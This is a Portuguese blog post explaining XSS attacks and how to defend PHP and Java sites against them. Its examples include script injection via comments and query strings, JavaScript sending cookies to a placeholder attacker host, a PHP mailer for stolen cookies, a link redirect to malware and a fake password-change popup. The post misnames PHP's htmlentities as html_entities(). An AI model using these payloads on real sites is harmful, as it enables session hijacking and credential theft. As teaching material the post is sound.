Páginas

segunda-feira, 15 de julho de 2013

Proteja seu sistema contra: Ataques XSS




No artigo anterior dessa série abordamos o ataque de quebra de senhas por força bruta, e como podemos defender nossos sistemas contra esse ataque. Agora iremos considerar o ataque XSS.

Ataques XSS são comuns pois nem sempre é fácil detectar brechas nos sistemas que viabilizam esse ataque. Um exemplo de como esse ataque pode ser perigoso e afetar sites importantes, foi o caso envolvendo o Bradesco, em 2008.

Esse ataque consiste em se executar código malicioso (geralmente HTML, CSS e Javascript) sem o conhecimento do usuário do site. Vamos ver alguns exemplos desse ataque.

Inserção de código malicioso em campos tipo texto de formulários

Imagine uma aplicação onde se permita ao usuário fazer comentários, como em um fórum. Na página de novo comentário, o usuário hacker poderia inserir código malicioso no campo do comentário e então submeter ao servidor. Por exemplo, ele poderia inserir no comentário:

'Olá, parabéns pelo artigo.<script src='http://sitehacker.com/script_malicioso.js'></script>'

Então, toda vez que o comentário dele for exibido o script malicioso será executado sem o conhecimento do internauta que visualiza os comentários. 

Ataques via querystrings

Vamos imaginar um site que possua um campo busca na querystring, como a url a seguir:

http://exemplo.com/search.php?q=Um texto qualquer

Uma vez acessada essa url, a página retorna com o resultado: Sua busca por 'Um texto qualquer' não retornou nenhum resultado

O hacker poderia então montar a url maliciosa, como a seguir:

http://exemplo.com/search.php?q=<script src='http://sitehacker.com/script_malicioso.js'></script>

E o site retornaria: Sua busca por ' ' não retornou nenhum resultado.

Porém o código malicioso seria executado. O hacker então poderia pegar essa url modificada com código malicioso e envia-la por email para laranjas (pessoas que executariam o código malicioso sem conhecimento).

Exemplos de scripts maliciosos

Nos dois métodos acima (via formulário ou via querystring) o hacker poderia fazer o internauta executar o script_malicioso.js sem o seu conhecimento. Mas que código poderia ter esse script malicioso? Vamos ver 3 exemplos:

1- Acesso a cookies

O hacker poderia criar a página 'mail.php' em seu servidor:

<?php
if ($_GET['xss']) {
   mail('hacker@email.com','Cookies capturados', $_GET['xss']);
}
?>

Então o script_malicioso.js poderia ter o código:

document.write('<iframe width=1 height=1 src=http://sitehacker.com/mail.php?xss='+document.cookie+'></iframe>')

Isso faz com que o internauta, ao executar o script_malicioso.js sem saber, envie para a página http://sitehacker.com/mail.php os cookeis que ele tem armazenado em seu browser. A página mail.php por sua vez envia esse conteudo diretamente para o email do hacker. Se o cookie enviado for o identificador de sessão, tal como o PHPSESSID ou JSESSIONID, o hacker pode fazer o sequestro de sessão e utilizar o sistema como se fosse o internauta prejudicado.

2- Adulteração do site alvo

Outro exemplo de conteúdo de script_malicioso.js poderia ser:

window.onload = function() {
     var AllLinks=document.getElementsByTagName("a");
     AllLinks[0].href = "http://sitehacker.com/baixar_virus.exe";
 }

Esse script altera o atributo href do link para que ele acesse baixe o virus que o hacker preparou.

3- Obter a senha do usuário

Nesse exemplo, o hacker utiliza engenharia social. Ele poderia criar o seguinte código em script_malicioso.js:

window.open("http://sitehacker.com/nova_senha.php");

Isso faz com que seja aberta uma nova janela no navegador com a página nova_senha.php.

Então o hacker poderia criar em seu servidor a página nova_senha.php que simulasse o layout do site alvo, solicitando o internauta a modificar a sua senha por medida de segurança. Para isso a página maliciosa solicita a senha atual. De posse da senha atual, a página poderia envia-la para o email do hacker.

Como proteger seu sistema contra esse ataque?

Basicamente, o ataque XSS consiste em explorar brechas nos sistema que permitem envio de código malicioso, então precisamos identificar essas brechas e fecha-las.

O sistema não deve permitir que o texto contendo conteúdo malicioso do usuário seja executado. Para isso deve-se eliminar as tags nos comentarios enviados. Devemos tratar todas as variáveis recebidas pelo usuário. O PHP tem alguns métodos que nos ajudam nesse ponto, um deles é o html_entities(). Ele faz a conversão dos caracteres especiais do HTML, impossibilitando sua execução. Por exemplo, ele converte

<script src='http://sitehacker.com/script_malicioso.js'>

 para 

&lt;script src='http://sitehacker.com/script_malicioso.js'&gt;

impossibilitando assim sua execução.

Bibliotecas para o Java também possuem essa função, tal como o método 'escapeHtml' da classe org.apache.commons.lang.StringEscapeUtils.

Assim, para cada entrada do usuário, o sistema deverá eliminar possíveis tags ocultas que poderiam causar um ataque XSS.

atenciosamente,
Gustavo Marques

Veja também

Related Posts Plugin for WordPress, Blogger...